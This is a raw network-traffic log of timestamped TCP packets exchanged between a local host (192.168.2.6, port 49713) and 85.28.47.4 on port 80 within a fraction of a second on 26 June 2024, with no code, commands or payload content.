Jun 26, 2024 08:16:25.168713093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168719053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168720007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168750048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168762922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168771029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168772936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168788910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168797970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168807030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168824911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168850899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168852091 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168862104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168895960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168905020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168920040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168927908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.168951035 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.168997049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169014931 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169024944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169040918 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169049025 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169056892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169073105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169080019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169081926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169080019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169095993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169121981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169305086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169313908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169329882 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169358015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169358015 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169384956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169475079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169493914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169509888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169518948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169533968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169542074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169559002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169568062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169567108 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169568062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169574976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169584990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169586897 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169593096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169605017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169610023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169620037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169635057 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169640064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169640064 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169642925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169652939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169661999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169667959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169670105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169677973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.169712067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.169712067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254272938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254312992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254323006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254332066 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254348040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254355907 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254364967 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254373074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254391909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254424095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254507065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254515886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254533052 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254554987 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254565001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254574060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254579067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254585028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254592896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254609108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254614115 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254666090 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254667044 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254753113 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254822016 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254837990 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254847050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254894972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254894972 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254901886 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254913092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254921913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254930973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254961967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.254981041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.254991055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255006075 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255007029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255017996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255042076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255043983 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255050898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255062103 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255094051 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255103111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255132914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255152941 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255155087 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255162954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255178928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255187035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255202055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255203009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255213976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255234957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255243063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255244017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255259991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255259991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255306959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255306959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255333900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255342007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255357981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255367041 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255374908 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255383015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255409956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255409956 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255597115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255678892 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255683899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255687952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255706072 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255714893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255732059 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255740881 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255750895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255759954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255786896 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255786896 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255806923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255815983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255820036 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255825043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255835056 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255844116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.255867004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255892992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.255892992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256001949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256011009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256026983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256032944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256041050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256057024 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256067991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256076097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256086111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256087065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256102085 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256105900 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256112099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256120920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256138086 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256148100 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256171942 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256191015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256196022 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256201029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256217957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256226063 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256242037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256251097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256268024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256268024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256299973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256308079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256325006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256326914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256335020 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256356955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256367922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256372929 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256377935 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256387949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256398916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256407976 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256438017 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256438971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256438971 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256447077 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256459951 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256472111 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256490946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256500959 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256515026 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256541967 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256567001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256577015 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256592989 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256602049 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256622076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256654978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256701946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256711006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256728888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256736994 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256746054 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256752014 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256758928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256761074 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256767988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256808996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256808996 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256845951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256855011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256864071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256871939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256880999 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256895065 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256921053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256934881 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.256984949 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.256994009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257009983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257018089 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257042885 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.257066011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257075071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257090092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257098913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257107019 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.257107973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257117033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.257126093 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.257143021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.257198095 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.341846943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.341871977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.341880083 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.341917038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.341922998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.341924906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.341952085 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.341967106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.341979027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.341983080 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342010021 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342032909 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342217922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342226982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342242956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342288971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342293024 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342298031 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342303991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342308998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342319012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342358112 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342358112 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342437983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342463970 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342478991 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342531919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342531919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342695951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342705011 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342720985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342777014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342777014 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342792988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342798948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342813969 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342822075 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342829943 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342844963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342852116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342870951 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342875004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342875004 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342889071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342891932 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342896938 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342905045 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342911959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342921019 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342926025 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342927933 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342974901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342974901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.342983007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.342993021 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343000889 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343030930 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343045950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343075037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343082905 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343100071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343107939 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343123913 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343131065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343147039 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343153000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343153000 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343156099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343173981 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343175888 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343221903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343221903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343229055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343236923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343252897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343261003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343303919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343303919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343317032 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343326092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343358040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343373060 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343415976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343436956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343466043 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343473911 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343502998 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343503952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:25.343544006 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:25.343544006 CEST	49713	80	192.168.2.6	85.28.47.4
